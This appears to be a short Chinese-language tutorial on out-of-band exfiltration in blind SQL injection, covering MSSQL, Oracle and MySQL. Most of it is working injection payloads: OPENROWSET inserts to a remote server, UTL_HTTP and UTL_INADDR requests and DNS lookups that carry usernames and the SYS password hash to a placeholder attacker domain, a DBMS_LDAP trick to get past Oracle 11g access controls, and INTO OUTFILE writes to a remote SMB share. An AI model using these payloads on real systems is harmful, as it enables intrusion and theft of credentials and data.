在进行sql注入攻击时经常会遇见 无回显的情况
这时我们就不能成功进行攻击了么?
答案是否定的
攻击可能是成功进行了的 但是 应用程序未返回任何结果
会让你误以为未成功攻击
一种获取数据的有效方法是使用带外通道
能够在数据库中执行任意SQL语句后 我们可以利用数据的一些内置功能在数据库与自己的计算机之间建立网络链接 通过它传送从数据库中收集的任何信息
No.1 Mssql
一些老的数据库如Mssql2000以及更早的版本 可以使用OpenRowSet命令与外部数据库建立连接并插入任何数据
如:
insert into openrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=xxxx.net,80;UID=sa;PWD=xxx',
'select * from foo'
)
value(@@version) 注:可以为80端口或其他端口
No.2 Oracle
Oracle的带外通道方法较多
UTL_HTTP
UTL_INADDR
UTL_SMTP
UTL_TCP
1UTL_HTTP: 可用于向其他主机提出任意的http请求.
方法:
/bingdao.asp?empno=2131'||UTL_HTTP.request('xxxx.com:80/'||(SELECT username from all_user where xxxx=1))--
作用是UTL_HTTP提出一个get请求 要求访问包含all_user表中的第一个用户名的URL
只需在xxxx.com监听80端口即可
2UTL_INADDR:可用于在攻击者控制的服务器中生成任意的DNS查询
比http的方式要好用些
如:
/bingdao.asp?empno=1231'||UTL_INADDR.GET_HOST_NAME((SELECT password from dba_users where name='SYS')||
'.xxx.com'
)
作用是它向包含SYS用户的hash的xxx.com的名称服务器发出下面这个DNS查询
asdac1244124.xxx.com
3UTL_SMTP:用于发送电子邮件 在出站电子邮件中发送这个报.即可获得大量从数据库截取的数据
4UTL_TCP用于打开任意TCP套接字 发送和接受网络数据
但在oracle11g中 以上用法是被ACL保护了的 注:Oracle 11g是甲骨文公司在2007年年7月12日推出的最新数据库软件
不过也有突破的方法:
SYS.DBMS_LDAP.INIT((SELECT password frin SYS.user$ where name='sys')||'.xxx.com',80)
No.3 MYSQL
MYSQL的带外通道 想要达到效果 方法较繁琐但还是说下吧
SELECT...INTO OUTFILE 命令可将任意一个查询的输出指向一个文件
如:
select * into outfile '\\\\xxxx.com\\share\\output.txt' from users;
要想收到文件必须要在计算机上建立SMP共享允许匿名写入访问。
如果无法接受到文件可能是由于smb服务器的配置有问题